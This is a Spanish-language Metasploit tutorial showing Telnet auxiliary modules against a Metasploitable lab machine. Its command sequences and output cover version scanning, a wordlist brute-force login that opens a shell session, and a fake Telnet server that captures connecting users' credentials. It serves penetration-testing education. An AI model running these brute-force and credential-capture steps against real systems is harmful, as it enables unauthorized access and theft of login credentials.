Metasploit proporciona algunos módulos auxiliares para Telnet que nos permitirán analizar la versión en ejecución, realizar ataques de fuerza bruta y simular un servidor Telnet falso.
Podemos encontrar todos estos módulos auxiliares a través de la búsqueda en Metasploit:
msf > search type:auxiliary telnet
Telnet version scanner (telnet_version)
Para invocar este módulo auxiliar solo debemos ejecutar el siguiente comando:
msf > use auxiliary/scanner/telnet/telnet_version msf auxiliary(telnet_version) >
Veamos las variables disponibles de este módulo auxiliar:
msf auxiliary(telnet_version) > show options Module options (auxiliary/scanner/telnet/telnet_version): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username RHOSTS yes The target address range or CIDR identifier RPORT 23 yes The target port THREADS 1 yes The number of concurrent threads TIMEOUT 30 yes Timeout for the Telnet probe USERNAME no The username to authenticate as
En este caso solo tenemos que establecer la dirección IP del objetivo en la variable “RHOSTS”. La variable“RHOSTS” puede ser una dirección IP única, un rango de direcciones (192.168.1.0-192.168.1.255) una subred (192.168.1.0/24) o un archivo (/tmp/ip_addresses.txt). Si quisiéramos paralelizar los procesos del análisis de la versión, solo debemos incrementar el número de procesos hilos en la variable “THREADS”. Para reducir el tiempo límite de conexión Telnet, reducimos el valor de la variable “TIMEOUT”.
msf auxiliary(telnet_version) > set RHOSTS 192.168.58.134 RHOSTS => 192.168.58.134
Luego de establecer las variables, ejecutamos el módulo y en pocos segundos tendremos resultados:
msf auxiliary(telnet_version) > run [*] 192.168.58.134:23 TELNET Ubuntu 8.04\x0ametasploitable login: [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Autenticación en Telnet mediante ataque de fuerza bruta (telnet_login)
Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf > use auxiliary/scanner/telnet/telnet_login msf auxiliary(telnet_login) >
Este módulo intenta autenticarse contra un servidor Telnet utilizando combinaciones de nombres de usuario y contraseñas en diccionarios definidos en las variables “USER_FILE“, “PASS_FILE“ y “USERPASS_FILE”. Metasploit proporciona archivos para las variables “USER_FILE” (/opt/metasploit3/msf3/data/wordlists/unix_users.txt) y "PASS_FILE” (/opt/metasploit3/msf3/data/wordlists/unix_passwords.txt). También podemos utilizar las listas de contraseñas de SkullSecurity, o esta otra que es actualizada de forma regular.
Para paralelizar los intentos de login, solo debemos incrementar el número de procesos hilos en la variable “THREADS”. También asignar la dirección o rango IP del objetivo en la variable “RHOSTS”. La variable“RHOSTS” puede ser una dirección IP, un rango de direcciones, una subred o un archivo. Cada login y contraseña descubiertos crearán una sesión de Metasploit.
msf auxiliary(telnet_login) > show options Module options (auxiliary/scanner/telnet/telnet_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line RHOSTS yes The target address range or CIDR identifier RPORT 23 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS true no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(telnet_login) >
Definamos las variables:
msf auxiliary(telnet_login) > set PASS_FILE /pentest/exploits/framework/data/wordlists/unix_passwords.txt PASS_FILE => /pentest/exploits/framework/data/wordlists/unix_passwords.txt msf auxiliary(telnet_login) > set RHOSTS 192.168.58.134 RHOSTS => 192.168.58.134 msf auxiliary(telnet_login) > set USER_FILE /pentest/exploits/framework/data/wordlists/unix_users.txt USER_FILE => /pentest/exploits/framework/data/wordlists/unix_users.txt msf auxiliary(telnet_login) >
Verificamos de nuevo las variables antes de ejecutar el módulo:
msf auxiliary(telnet_login) > show options Module options (auxiliary/scanner/telnet/telnet_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASSWORD no A specific password to authenticate with PASS_FILE /pentest/exploits/framework/data/wordlists/unix_passwords.txt no File containing passwords, one per line RHOSTS 192.168.58.134 yes The target address range or CIDR identifier RPORT 23 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS true no Try the username as the password for all users USER_FILE /pentest/exploits/framework/data/wordlists/unix_users.txt no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(telnet_login) >
Ejecutamos el módulo. Los inténtos válidos se mostrarán en verde y los inválidos en color rojo.
msf auxiliary(telnet_login) > run [*] 192.168.58.134:23 Telnet - [000001/109216] - Attempting: '':'' [*] 192.168.58.134:23 TELNET - [000001/109216] - Banner: Ubuntu 8.04 metasploitable login: [*] 192.168.58.134:23 TELNET - [000001/109216] - Prompt: Password: [*] 192.168.58.134:23 TELNET - [000001/109216] - Result: Login incorrect metasploitable login: [*] 192.168.58.134:23 Telnet - [000002/109216] - Attempting: '4Dgifts':'' [*] 192.168.58.134:23 TELNET - [000002/109216] - Banner: Ubuntu 8.04 metasploitable login: [*] 192.168.58.134:23 TELNET - [000002/109216] - Prompt: Password: [*] 192.168.58.134:23 TELNET - [000002/109216] - Result: Login incorrect metasploitable login: [*] 192.168.58.134:23 Telnet - [000003/109216] - Attempting: 'EZsetup':'' [*] 192.168.58.134:23 TELNET - [000003/109216] - Banner: Ubuntu 8.04 metasploitable login: [*] 192.168.58.134:23 TELNET - [000045/109216] - Prompt: Password: [*] 192.168.58.134:23 TELNET - [000045/109216] - Result: Login incorrect ... [*] 192.168.58.134:23 Telnet - [000045/109216] - Attempting: 'msfadmin':'msfadmin' [*] 192.168.58.134:23 TELNET - [000045/109216] - Banner: Ubuntu 8.04 metasploitable login: [*] 192.168.58.134:23 TELNET - [000045/109216] - Prompt: Password: [*] 192.168.58.134:23 TELNET - [000045/109216] - Result: Last login: Sun Aug 21 04:34:38 EDT 2011 on pts/0 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail. [+] 192.168.58.134 - SUCCESSFUL LOGIN msfadmin : msfadmin [*] Command shell session 1 opened (192.168.58.10:60805 -> 192.168.58.134:23) at 2011-08-21 04:43:46 -0400 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(telnet_login) >
Emulador de servidor Telnet falso (telnet)
Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf > use auxiliary/server/capture/telnet msf auxiliary(telnet) >
Este módulo emula un servidor falso de Telnet con el fin de capturar credenciales de autenticación.
msf auxiliary(telnet) > run [*] Auxiliary module execution completed [*] Server started. msf auxiliary(telnet) >
Cuando la víctima trata de iniciar una conexión Telnet a nuestro servidor falso, las credenciales serán capturadas:
msf auxiliary(telnet) > [*] TELNET LOGIN 192.168.58.134:44277 darkoperator / P@ssw0rd msf auxiliary(telnet) >
Fuente